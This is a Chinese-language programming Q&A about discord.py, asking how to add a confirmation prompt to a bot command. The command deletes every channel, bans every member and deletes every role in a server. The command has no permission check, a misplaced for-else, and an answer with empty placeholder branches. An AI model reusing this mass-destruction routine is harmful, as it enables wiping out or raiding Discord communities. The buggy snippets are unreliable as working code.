无论如何在discord.py中有一个两步命令

问题描述

我有这个:

       @commands.command()
       async def destroyX(self,ctx):
            await ctx.message.delete()
            for channel in list(ctx.guild.channels):
                try:
                    await channel.delete()    
                except:
                    pass
            for user in list(ctx.guild.members):
                try:
                    await user.ban()
                except:
                    pass    
            for role in list(ctx.guild.roles):
                await role.delete()
            else:
                await ctx.send('You are not allowed to execute this command!')

无论如何,它是否可以说“您确定要运行此命令吗?”在聊天中。

解决方法

您可以使用 if-else 语句:

@commands.command()
async def destroyX(self,ctx):
    def check(m):
        return m.author == ctx.author and m.channel == ctx.channel

    await ctx.message.delete()
    await ctx.send("Are you sure you want to run this command?")
    # for user input
    response = await self.bot.wait_for('message',check=check)

    if response.content == 'yes':
        # the actions which should happen if the person responded with 'yes'
    else:
        # actions which should happen if the person responded with 'no' or something else